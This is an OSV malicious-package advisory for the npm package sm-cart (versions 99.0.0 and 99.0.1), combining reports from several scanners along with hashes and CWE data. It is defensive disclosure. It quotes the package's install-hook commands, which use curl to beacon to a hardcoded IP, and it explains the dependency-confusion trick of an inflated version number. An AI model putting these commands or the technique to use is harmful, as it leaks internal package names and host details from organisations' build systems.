MAL-2026-14396

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-cart/MAL-2026-14396.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14396
Aliases
  • GHSA-79hh-8hx9-8jjr
Published
2026-08-23T18:50:28Z
Modified
2026-08-24T16:46:04Z
Summary
Malicious code in sm-cart (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0)

Package sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s http://16.192.173.5/sm-cart/post on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.

Source: ghsa-malware (df0e3405b202c2d567c7eca4a9615bd1b2f892260939b467c56c6938b0d1f99a)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source: ossf-package-analysis (ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af)

The OpenSSF Package Analysis project identified 'sm-cart' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-018612",
            "import_time": "2026-08-24T05:20:14.685186002Z",
            "modified_time": "2026-08-24T05:07:48Z",
            "sha256": "14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0",
            "source": "amazon-inspector",
            "versions": [
                "99.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-018607",
            "import_time": "2026-08-24T05:20:14.232522399Z",
            "modified_time": "2026-08-24T05:07:09Z",
            "sha256": "5beec7d35c3e92ce97cf4def06d591088970747be8e226b227d54cc842326ad6",
            "source": "amazon-inspector",
            "versions": [
                "99.0.1"
            ]
        },
        {
            "import_time": "2026-08-24T05:47:54.972088692Z",
            "modified_time": "2026-08-23T18:50:28Z",
            "sha256": "ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af",
            "source": "ossf-package-analysis",
            "versions": [
                "99.0.1"
            ]
        },
        {
            "id": "GHSA-79hh-8hx9-8jjr",
            "import_time": "2026-08-24T16:26:16.736975066Z",
            "modified_time": "2026-08-24T15:42:57Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "df0e3405b202c2d567c7eca4a9615bd1b2f892260939b467c56c6938b0d1f99a",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / sm-cart

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

99.*
99.0.0
99.0.1

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "5997e4ed5624f82792b97e7a67973dfa7f0851f1e5ba9dde92d3a55cae2fe040",
            "tlsh": "a0c0125c0504d6725bc447a6a915958c7491014000c25824c3d30df98b2235aa10fa1a"
        },
        {
            "path": "index.js",
            "sha256": "887ee4ab7dec9c37eac90c4f1b848bd673cfc2f55a89a2595e699e72740de307",
            "tlsh": "74c02b82b0ac713451f5484b1030031a34effdb0f6033195e20882ede20cd6443030dc"
        }
    ],
    "package_integrity": [
        {
            "filename": "sm-cart-99.0.0.tgz",
            "hashes": {
                "sha1": "e432c7669837153894cb226c450bbe92b2fe142a",
                "sha512_sri": "sha512-bbEd3y8wwCCmuX8Gc6tvQiwLnh5BDEH6oKLwu94FD5+DNGolB1Iu8IMrueV2TCviyGtoZ3qOACTs9s1n371hqw=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-cart/MAL-2026-14396.json"